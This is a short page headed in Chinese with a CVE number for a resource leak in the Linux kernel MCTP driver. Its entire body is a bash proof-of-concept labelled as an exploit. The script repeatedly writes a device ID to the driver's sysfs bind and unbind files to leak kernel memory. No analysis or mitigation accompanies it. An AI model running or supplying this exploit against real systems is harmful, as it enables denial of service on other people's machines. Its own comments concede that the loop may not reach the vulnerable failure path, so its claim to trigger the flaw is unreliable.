CVE-2026-43375 Linux内核MCTP驱动资源泄露漏洞

#!/bin/bash # PoC to trigger the memory leak by forcing bind/unbind cycles # This script assumes the presence of a vulnerable MCTP device. # Replace '1-1' with the actual bus and device number. DEVICE_ID="1-1" DRIVER_PATH="/sys/bus/usb/drivers/mctp" if [ ! -d "$DRIVER_PATH" ]; then echo "MCTP driver not loaded or path incorrect." exit 1 fi echo "Starting exploit loop to trigger memory leak..." for i in {1..1000} do # Attempt to unbind the device (safe check) if [ -d "$DRIVER_PATH/$DEVICE_ID" ]; then echo "$DEVICE_ID" > "$DRIVER_PATH/unbind" 2>/dev/null fi # Attempt to bind the device, triggering the probe function # If probe fails (or even if it succeeds and we unbind), the leak might occur depending on exact failure condition. # To specifically target probe failure, specific hardware emulation or malformed descriptors might be needed, # but repeatedly loading/unloading the module or binding can stress the logic. echo "$DEVICE_ID" > "$DRIVER_PATH/bind" 2>/dev/null echo "Iteration $i: Triggered bind/unbind" done echo "Exploit loop finished."